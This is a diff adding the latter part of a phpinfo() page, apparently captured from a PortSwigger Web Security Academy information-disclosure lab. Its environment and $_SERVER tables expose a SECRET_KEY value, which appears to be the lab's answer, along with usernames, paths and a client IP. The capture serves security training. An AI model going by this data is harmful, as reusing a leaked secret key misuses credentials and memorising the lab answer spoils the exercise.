+<tr><td class="e">session.upload_progress.cleanup</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">session.upload_progress.enabled</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">session.upload_progress.freq</td><td class="v">1%</td><td class="v">1%</td></tr>
+<tr><td class="e">session.upload_progress.min_freq</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">session.upload_progress.name</td><td class="v">PHP_SESSION_UPLOAD_PROGRESS</td><td class="v">PHP_SESSION_UPLOAD_PROGRESS</td></tr>
+<tr><td class="e">session.upload_progress.prefix</td><td class="v">upload_progress_</td><td class="v">upload_progress_</td></tr>
+<tr><td class="e">session.use_cookies</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">session.use_only_cookies</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">session.use_strict_mode</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">session.use_trans_sid</td><td class="v">0</td><td class="v">0</td></tr>
+</table>
+<h2><a name="module_shmop">shmop</a></h2>
+<table>
+<tr><td class="e">shmop support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_simplexml">SimpleXML</a></h2>
+<table>
+<tr><td class="e">SimpleXML support </td><td class="v">enabled </td></tr>
+<tr><td class="e">Schema support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_sockets">sockets</a></h2>
+<table>
+<tr><td class="e">Sockets Support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_sodium">sodium</a></h2>
+<table>
+<tr class="h"><th>sodium support</th><th>enabled</th></tr>
+<tr><td class="e">libsodium headers version </td><td class="v">1.0.18 </td></tr>
+<tr><td class="e">libsodium library version </td><td class="v">1.0.18 </td></tr>
+</table>
+<h2><a name="module_spl">SPL</a></h2>
+<table>
+<tr class="h"><th>SPL support</th><th>enabled</th></tr>
+<tr><td class="e">Interfaces </td><td class="v">OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject </td></tr>
+<tr><td class="e">Classes </td><td class="v">AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException </td></tr>
+</table>
+<h2><a name="module_standard">standard</a></h2>
+<table>
+<tr><td class="e">Dynamic Library Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">Path to sendmail </td><td class="v">/usr/sbin/sendmail -t -i  </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">assert.active</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">assert.bail</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">assert.callback</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">assert.exception</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">assert.quiet_eval</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">assert.warning</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">auto_detect_line_endings</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">default_socket_timeout</td><td class="v">60</td><td class="v">60</td></tr>
+<tr><td class="e">from</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">session.trans_sid_hosts</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">session.trans_sid_tags</td><td class="v">a=href,area=href,frame=src,form=</td><td class="v">a=href,area=href,frame=src,form=</td></tr>
+<tr><td class="e">unserialize_max_depth</td><td class="v">4096</td><td class="v">4096</td></tr>
+<tr><td class="e">url_rewriter.hosts</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">url_rewriter.tags</td><td class="v">form=</td><td class="v">form=</td></tr>
+<tr><td class="e">user_agent</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+</table>
+<h2><a name="module_sysvmsg">sysvmsg</a></h2>
+<table>
+<tr><td class="e">sysvmsg support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_sysvsem">sysvsem</a></h2>
+<table>
+<tr><td class="e">sysvsem support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_sysvshm">sysvshm</a></h2>
+<table>
+<tr><td class="e">sysvshm support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_tokenizer">tokenizer</a></h2>
+<table>
+<tr><td class="e">Tokenizer Support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_xml">xml</a></h2>
+<table>
+<tr><td class="e">XML Support </td><td class="v">active </td></tr>
+<tr><td class="e">XML Namespace Support </td><td class="v">active </td></tr>
+<tr><td class="e">libxml2 Version </td><td class="v">2.9.10 </td></tr>
+</table>
+<h2><a name="module_xmlreader">xmlreader</a></h2>
+<table>
+<tr><td class="e">XMLReader </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_xmlwriter">xmlwriter</a></h2>
+<table>
+<tr><td class="e">XMLWriter </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_xsl">xsl</a></h2>
+<table>
+<tr><td class="e">XSL </td><td class="v">enabled </td></tr>
+<tr><td class="e">libxslt Version </td><td class="v">1.1.34 </td></tr>
+<tr><td class="e">libxslt compiled against libxml Version </td><td class="v">2.9.10 </td></tr>
+<tr><td class="e">EXSLT </td><td class="v">enabled </td></tr>
+<tr><td class="e">libexslt Version </td><td class="v">1.1.34 </td></tr>
+</table>
+<h2><a name="module_zend+opcache">Zend OPcache</a></h2>
+<table>
+<tr><td class="e">Opcode Caching </td><td class="v">Up and Running </td></tr>
+<tr><td class="e">Optimization </td><td class="v">Enabled </td></tr>
+<tr><td class="e">SHM Cache </td><td class="v">Enabled </td></tr>
+<tr><td class="e">File Cache </td><td class="v">Disabled </td></tr>
+<tr><td class="e">Startup </td><td class="v">OK </td></tr>
+<tr><td class="e">Shared memory model </td><td class="v">mmap </td></tr>
+<tr><td class="e">Cache hits </td><td class="v">0 </td></tr>
+<tr><td class="e">Cache misses </td><td class="v">1 </td></tr>
+<tr><td class="e">Used memory </td><td class="v">9168472 </td></tr>
+<tr><td class="e">Free memory </td><td class="v">125049256 </td></tr>
+<tr><td class="e">Wasted memory </td><td class="v">0 </td></tr>
+<tr><td class="e">Interned Strings Used memory </td><td class="v">224744 </td></tr>
+<tr><td class="e">Interned Strings Free memory </td><td class="v">6066264 </td></tr>
+<tr><td class="e">Cached scripts </td><td class="v">1 </td></tr>
+<tr><td class="e">Cached keys </td><td class="v">1 </td></tr>
+<tr><td class="e">Max keys </td><td class="v">16229 </td></tr>
+<tr><td class="e">OOM restarts </td><td class="v">0 </td></tr>
+<tr><td class="e">Hash keys restarts </td><td class="v">0 </td></tr>
+<tr><td class="e">Manual restarts </td><td class="v">0 </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">opcache.blacklist_filename</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">opcache.consistency_checks</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">opcache.dups_fix</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">opcache.enable</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">opcache.enable_cli</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">opcache.enable_file_override</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">opcache.error_log</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">opcache.file_cache</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">opcache.file_cache_consistency_checks</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">opcache.file_cache_only</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">opcache.file_update_protection</td><td class="v">2</td><td class="v">2</td></tr>
+<tr><td class="e">opcache.force_restart_timeout</td><td class="v">180</td><td class="v">180</td></tr>
+<tr><td class="e">opcache.huge_code_pages</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">opcache.interned_strings_buffer</td><td class="v">8</td><td class="v">8</td></tr>
+<tr><td class="e">opcache.lockfile_path</td><td class="v">/tmp</td><td class="v">/tmp</td></tr>
+<tr><td class="e">opcache.log_verbosity_level</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">opcache.max_accelerated_files</td><td class="v">10000</td><td class="v">10000</td></tr>
+<tr><td class="e">opcache.max_file_size</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">opcache.max_wasted_percentage</td><td class="v">5</td><td class="v">5</td></tr>
+<tr><td class="e">opcache.memory_consumption</td><td class="v">128</td><td class="v">128</td></tr>
+<tr><td class="e">opcache.opt_debug_level</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">opcache.optimization_level</td><td class="v">0x7FFEBFFF</td><td class="v">0x7FFEBFFF</td></tr>
+<tr><td class="e">opcache.preferred_memory_model</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">opcache.preload</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">opcache.preload_user</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">opcache.protect_memory</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">opcache.restrict_api</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">opcache.revalidate_freq</td><td class="v">2</td><td class="v">2</td></tr>
+<tr><td class="e">opcache.revalidate_path</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">opcache.save_comments</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">opcache.use_cwd</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">opcache.validate_permission</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">opcache.validate_root</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">opcache.validate_timestamps</td><td class="v">On</td><td class="v">On</td></tr>
+</table>
+<h2><a name="module_zlib">zlib</a></h2>
+<table>
+<tr class="h"><th>ZLib Support</th><th>enabled</th></tr>
+<tr><td class="e">Stream Wrapper </td><td class="v">compress.zlib:// </td></tr>
+<tr><td class="e">Stream Filter </td><td class="v">zlib.inflate, zlib.deflate </td></tr>
+<tr><td class="e">Compiled Version </td><td class="v">1.2.11 </td></tr>
+<tr><td class="e">Linked Version </td><td class="v">1.2.11 </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">zlib.output_compression</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">zlib.output_compression_level</td><td class="v">-1</td><td class="v">-1</td></tr>
+<tr><td class="e">zlib.output_handler</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+</table>
+<h2>Additional Modules</h2>
+<table>
+<tr class="h"><th>Module Name</th></tr>
+</table>
+<h2>Environment</h2>
+<table>
+<tr class="h"><th>Variable</th><th>Value</th></tr>
+<tr><td class="e">GATEWAY_INTERFACE </td><td class="v">CGI/1.1 </td></tr>
+<tr><td class="e">SUDO_GID </td><td class="v">10000 </td></tr>
+<tr><td class="e">REMOTE_HOST </td><td class="v">105.235.135.13 </td></tr>
+<tr><td class="e">USER </td><td class="v">carlos </td></tr>
+<tr><td class="e">HTTP_ACCEPT_CHARSET </td><td class="v">* </td></tr>
+<tr><td class="e">SECRET_KEY </td><td class="v">qpv07o7eirlfsovg81p7ay7m9l8jaw8b </td></tr>
+<tr><td class="e">QUERY_STRING </td><td class="v"><i>no value</i> </td></tr>
+<tr><td class="e">HOME </td><td class="v">/home/carlos </td></tr>
+<tr><td class="e">HTTP_USER_AGENT </td><td class="v">Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko </td></tr>
+<tr><td class="e">HTTP_ACCEPT </td><td class="v">*/* </td></tr>
+<tr><td class="e">SCRIPT_FILENAME </td><td class="v">/home/carlos/cgi-bin/phpinfo.php </td></tr>
+<tr><td class="e">HTTP_HOST </td><td class="v">0a8700550346ebd1804c946100f40010.web-security-academy.net </td></tr>
+<tr><td class="e">SUDO_UID </td><td class="v">10000 </td></tr>
+<tr><td class="e">LOGNAME </td><td class="v">carlos </td></tr>
+<tr><td class="e">SERVER_SOFTWARE </td><td class="v">PortSwiggerHttpServer/1.0 </td></tr>
+<tr><td class="e">TERM </td><td class="v">unknown </td></tr>
+<tr><td class="e">PATH </td><td class="v">/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin </td></tr>
+<tr><td class="e">HTTP_ACCEPT_LANGUAGE </td><td class="v">en-US </td></tr>
+<tr><td class="e">HTTP_REFERER </td><td class="v">https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/ </td></tr>
+<tr><td class="e">SERVER_PROTOCOL </td><td class="v">HTTP/1.1 </td></tr>
+<tr><td class="e">HTTP_ACCEPT_ENCODING </td><td class="v">identity </td></tr>
+<tr><td class="e">SUDO_COMMAND </td><td class="v">/usr/bin/sh -c /usr/bin/php-cgi </td></tr>
+<tr><td class="e">SHELL </td><td class="v">/bin/bash </td></tr>
+<tr><td class="e">REDIRECT_STATUS </td><td class="v">true </td></tr>
+<tr><td class="e">SUDO_USER </td><td class="v">academy </td></tr>
+<tr><td class="e">REQUEST_METHOD </td><td class="v">GET </td></tr>
+<tr><td class="e">PWD </td><td class="v">/home/carlos/cgi-bin </td></tr>
+<tr><td class="e">SERVER_PORT </td><td class="v">443 </td></tr>
+<tr><td class="e">SCRIPT_NAME </td><td class="v">/cgi-bin/phpinfo.php </td></tr>
+<tr><td class="e">SERVER_NAME </td><td class="v">10.0.4.200 </td></tr>
+</table>
+<h2>PHP Variables</h2>
+<table>
+<tr class="h"><th>Variable</th><th>Value</th></tr>
+<tr><td class="e">$_SERVER['GATEWAY_INTERFACE']</td><td class="v">CGI/1.1</td></tr>
+<tr><td class="e">$_SERVER['SUDO_GID']</td><td class="v">10000</td></tr>
+<tr><td class="e">$_SERVER['REMOTE_HOST']</td><td class="v">105.235.135.13</td></tr>
+<tr><td class="e">$_SERVER['USER']</td><td class="v">carlos</td></tr>
+<tr><td class="e">$_SERVER['HTTP_ACCEPT_CHARSET']</td><td class="v">*</td></tr>
+<tr><td class="e">$_SERVER['SECRET_KEY']</td><td class="v">qpv07o7eirlfsovg81p7ay7m9l8jaw8b</td></tr>
+<tr><td class="e">$_SERVER['QUERY_STRING']</td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">$_SERVER['HOME']</td><td class="v">/home/carlos</td></tr>
+<tr><td class="e">$_SERVER['HTTP_USER_AGENT']</td><td class="v">Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko</td></tr>
+<tr><td class="e">$_SERVER['HTTP_ACCEPT']</td><td class="v">*/*</td></tr>
+<tr><td class="e">$_SERVER['SCRIPT_FILENAME']</td><td class="v">/home/carlos/cgi-bin/phpinfo.php</td></tr>
+<tr><td class="e">$_SERVER['HTTP_HOST']</td><td class="v">0a8700550346ebd1804c946100f40010.web-security-academy.net</td></tr>
+<tr><td class="e">$_SERVER['SUDO_UID']</td><td class="v">10000</td></tr>
+<tr><td class="e">$_SERVER['LOGNAME']</td><td class="v">carlos</td></tr>
+<tr><td class="e">$_SERVER['SERVER_SOFTWARE']</td><td class="v">PortSwiggerHttpServer/1.0</td></tr>
+<tr><td class="e">$_SERVER['TERM']</td><td class="v">unknown</td></tr>
+<tr><td class="e">$_SERVER['PATH']</td><td class="v">/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin</td></tr>
+<tr><td class="e">$_SERVER['HTTP_ACCEPT_LANGUAGE']</td><td class="v">en-US</td></tr>
+<tr><td class="e">$_SERVER['HTTP_REFERER']</td><td class="v">https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/</td></tr>
+<tr><td class="e">$_SERVER['SERVER_PROTOCOL']</td><td class="v">HTTP/1.1</td></tr>
+<tr><td class="e">$_SERVER['HTTP_ACCEPT_ENCODING']</td><td class="v">identity</td></tr>
+<tr><td class="e">$_SERVER['SUDO_COMMAND']</td><td class="v">/usr/bin/sh -c /usr/bin/php-cgi</td></tr>
+<tr><td class="e">$_SERVER['SHELL']</td><td class="v">/bin/bash</td></tr>
+<tr><td class="e">$_SERVER['REDIRECT_STATUS']</td><td class="v">true</td></tr>
+<tr><td class="e">$_SERVER['SUDO_USER']</td><td class="v">academy</td></tr>
+<tr><td class="e">$_SERVER['REQUEST_METHOD']</td><td class="v">GET</td></tr>
+<tr><td class="e">$_SERVER['PWD']</td><td class="v">/home/carlos/cgi-bin</td></tr>
+<tr><td class="e">$_SERVER['SERVER_PORT']</td><td class="v">443</td></tr>
+<tr><td class="e">$_SERVER['SCRIPT_NAME']</td><td class="v">/cgi-bin/phpinfo.php</td></tr>
+<tr><td class="e">$_SERVER['SERVER_NAME']</td><td class="v">10.0.4.200</td></tr>
+<tr><td class="e">$_SERVER['PHP_SELF']</td><td class="v">/cgi-bin/phpinfo.php</td></tr>
+<tr><td class="e">$_SERVER['REQUEST_TIME_FLOAT']</td><td class="v">1712744607.1831</td></tr>
+<tr><td class="e">$_SERVER['REQUEST_TIME']</td><td class="v">1712744607</td></tr>
+</table>
+<hr />
+<h1>PHP Credits</h1>
+<table>
+<tr class="h"><th>PHP Group</th></tr>
+<tr><td class="e">Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski </td></tr>
+</table>
+<table>
+<tr class="h"><th>Language Design &amp; Concept</th></tr>
+<tr><td class="e">Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger </td></tr>
+</table>
+<table>
+<tr class="h"><th colspan="2">PHP Authors</th></tr>
+<tr class="h"><th>Contribution</th><th>Authors</th></tr>
+<tr><td class="e">Zend Scripting Language Engine </td><td class="v">Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov </td></tr>
+<tr><td class="e">Extension Module API </td><td class="v">Andi Gutmans, Zeev Suraski, Andrei Zmievski </td></tr>
+<tr><td class="e">UNIX Build and Modularization </td><td class="v">Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot </td></tr>
+<tr><td class="e">Windows Support </td><td class="v">Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen </td></tr>
+<tr><td class="e">Server API (SAPI) Abstraction Layer </td><td class="v">Andi Gutmans, Shane Caraveo, Zeev Suraski </td></tr>
+<tr><td class="e">Streams Abstraction Layer </td><td class="v">Wez Furlong, Sara Golemon </td></tr>
+<tr><td class="e">PHP Data Objects Layer </td><td class="v">Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky </td></tr>
+<tr><td class="e">Output Handler </td><td class="v">Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner </td></tr>
+<tr><td class="e">Consistent 64 bit support </td><td class="v">Anthony Ferrara, Anatol Belski </td></tr>
+</table>
+<table>
+<tr class="h"><th colspan="2">SAPI Modules</th></tr>
+<tr class="h"><th>Contribution</th><th>Authors</th></tr>
+<tr><td class="e">Apache 2.0 Handler </td><td class="v">Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code) </td></tr>
+<tr><td class="e">CGI / FastCGI </td><td class="v">Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov </td></tr>
+<tr><td class="e">CLI </td><td class="v">Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui </td></tr>
+<tr><td class="e">Embed </td><td class="v">Edin Kadribasic </td></tr>
+<tr><td class="e">FastCGI Process Manager </td><td class="v">Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet </td></tr>
+<tr><td class="e">litespeed </td><td class="v">George Wang </td></tr>
+<tr><td class="e">phpdbg </td><td class="v">Felipe Pena, Joe Watkins, Bob Weinand </td></tr>
+</table>
+<table>
+<tr class="h"><th colspan="2">Module Authors</th></tr>
+<tr class="h"><th>Module</th><th>Authors</th></tr>
+<tr><td class="e">BC Math </td><td class="v">Andi Gutmans </td></tr>
+<tr><td class="e">Bzip2 </td><td class="v">Sterling Hughes </td></tr>
+<tr><td class="e">Calendar </td><td class="v">Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong </td></tr>
+<tr><td class="e">COM and .Net </td><td class="v">Wez Furlong </td></tr>
+<tr><td class="e">ctype </td><td class="v">Hartmut Holzgraefe </td></tr>
+<tr><td class="e">cURL </td><td class="v">Sterling Hughes </td></tr>
+<tr><td class="e">Date/Time Support </td><td class="v">Derick Rethans </td></tr>
+<tr><td class="e">DB-LIB (MS SQL, Sybase) </td><td class="v">Wez Furlong, Frank M. Kromann, Adam Baratz </td></tr>
+<tr><td class="e">DBA </td><td class="v">Sascha Schumann, Marcus Boerger </td></tr>
+<tr><td class="e">DOM </td><td class="v">Christian Stocker, Rob Richards, Marcus Boerger </td></tr>
+<tr><td class="e">enchant </td><td class="v">Pierre-Alain Joye, Ilia Alshanetsky </td></tr>
+<tr><td class="e">EXIF </td><td class="v">Rasmus Lerdorf, Marcus Boerger </td></tr>
+<tr><td class="e">FFI </td><td class="v">Dmitry Stogov </td></tr>
+<tr><td class="e">fileinfo </td><td class="v">Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski </td></tr>
+<tr><td class="e">Firebird driver for PDO </td><td class="v">Ard Biesheuvel </td></tr>
+<tr><td class="e">FTP </td><td class="v">Stefan Esser, Andrew Skalski </td></tr>
+<tr><td class="e">GD imaging </td><td class="v">Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger </td></tr>
+<tr><td class="e">GetText </td><td class="v">Alex Plotnick </td></tr>
+<tr><td class="e">GNU GMP support </td><td class="v">Stanislav Malyshev </td></tr>
+<tr><td class="e">Iconv </td><td class="v">Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi </td></tr>
+<tr><td class="e">IMAP </td><td class="v">Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky </td></tr>
+<tr><td class="e">Input Filter </td><td class="v">Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky </td></tr>
+<tr><td class="e">Internationalization </td><td class="v">Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar </td></tr>
+<tr><td class="e">JSON </td><td class="v">Jakub Zelenka, Omar Kilani, Scott MacVicar </td></tr>
+<tr><td class="e">LDAP </td><td class="v">Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas </td></tr>
+<tr><td class="e">LIBXML </td><td class="v">Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo </td></tr>
+<tr><td class="e">Multibyte String Functions </td><td class="v">Tsukada Takuya, Rui Hirokawa </td></tr>
+<tr><td class="e">MySQL driver for PDO </td><td class="v">George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter </td></tr>
+<tr><td class="e">MySQLi </td><td class="v">Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel </td></tr>
+<tr><td class="e">MySQLnd </td><td class="v">Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter </td></tr>
+<tr><td class="e">OCI8 </td><td class="v">Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation </td></tr>
+<tr><td class="e">ODBC driver for PDO </td><td class="v">Wez Furlong </td></tr>
+<tr><td class="e">ODBC </td><td class="v">Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky </td></tr>
+<tr><td class="e">Opcache </td><td class="v">Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui </td></tr>
+<tr><td class="e">OpenSSL </td><td class="v">Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar </td></tr>
+<tr><td class="e">Oracle (OCI) driver for PDO </td><td class="v">Wez Furlong </td></tr>
+<tr><td class="e">pcntl </td><td class="v">Jason Greene, Arnaud Le Blanc </td></tr>
+<tr><td class="e">Perl Compatible Regexps </td><td class="v">Andrei Zmievski </td></tr>
+<tr><td class="e">PHP Archive </td><td class="v">Gregory Beaver, Marcus Boerger </td></tr>
+<tr><td class="e">PHP Data Objects </td><td class="v">Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky </td></tr>
+<tr><td class="e">PHP hash </td><td class="v">Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar </td></tr>
+<tr><td class="e">Posix </td><td class="v">Kristian Koehntopp </td></tr>
+<tr><td class="e">PostgreSQL driver for PDO </td><td class="v">Edin Kadribasic, Ilia Alshanetsky </td></tr>
+<tr><td class="e">PostgreSQL </td><td class="v">Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne </td></tr>
+<tr><td class="e">Pspell </td><td class="v">Vlad Krupin </td></tr>
+<tr><td class="e">Readline </td><td class="v">Thies C. Arntzen </td></tr>
+<tr><td class="e">Reflection </td><td class="v">Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter </td></tr>
+<tr><td class="e">Sessions </td><td class="v">Sascha Schumann, Andrei Zmievski </td></tr>
+<tr><td class="e">Shared Memory Operations </td><td class="v">Slava Poliakov, Ilia Alshanetsky </td></tr>
+<tr><td class="e">SimpleXML </td><td class="v">Sterling Hughes, Marcus Boerger, Rob Richards </td></tr>
+<tr><td class="e">SNMP </td><td class="v">Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin </td></tr>
+<tr><td class="e">SOAP </td><td class="v">Brad Lafountain, Shane Caraveo, Dmitry Stogov </td></tr>
+<tr><td class="e">Sockets </td><td class="v">Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene </td></tr>
+<tr><td class="e">Sodium </td><td class="v">Frank Denis </td></tr>
+<tr><td class="e">SPL </td><td class="v">Marcus Boerger, Etienne Kneuss </td></tr>
+<tr><td class="e">SQLite 3.x driver for PDO </td><td class="v">Wez Furlong </td></tr>
+<tr><td class="e">SQLite3 </td><td class="v">Scott MacVicar, Ilia Alshanetsky, Brad Dewar </td></tr>
+<tr><td class="e">System V Message based IPC </td><td class="v">Wez Furlong </td></tr>
+<tr><td class="e">System V Semaphores </td><td class="v">Tom May </td></tr>
+<tr><td class="e">System V Shared Memory </td><td class="v">Christian Cartus </td></tr>
+<tr><td class="e">tidy </td><td class="v">John Coggeshall, Ilia Alshanetsky </td></tr>
+<tr><td class="e">tokenizer </td><td class="v">Andrei Zmievski, Johannes Schlueter </td></tr>
+<tr><td class="e">XML </td><td class="v">Stig Bakken, Thies C. Arntzen, Sterling Hughes </td></tr>
+<tr><td class="e">XMLReader </td><td class="v">Rob Richards </td></tr>
+<tr><td class="e">xmlrpc </td><td class="v">Dan Libby </td></tr>
+<tr><td class="e">XMLWriter </td><td class="v">Rob Richards, Pierre-Alain Joye </td></tr>
+<tr><td class="e">XSL </td><td class="v">Christian Stocker, Rob Richards </td></tr>
+<tr><td class="e">Zip </td><td class="v">Pierre-Alain Joye, Remi Collet </td></tr>
+<tr><td class="e">Zlib </td><td class="v">Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner </td></tr>
+</table>
+<table>
+<tr class="h"><th colspan="2">PHP Documentation</th></tr>
+<tr><td class="e">Authors </td><td class="v">Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey </td></tr>
+<tr><td class="e">Editor </td><td class="v">Peter Cowburn </td></tr>
+<tr><td class="e">User Note Maintainers </td><td class="v">Daniel P. Brown, Thiago Henrique Pojda </td></tr>
+<tr><td class="e">Other Contributors </td><td class="v">Previously active authors, editors and other contributors are listed in the manual. </td></tr>
+</table>
+<table>
+<tr class="h"><th>PHP Quality Assurance Team</th></tr>
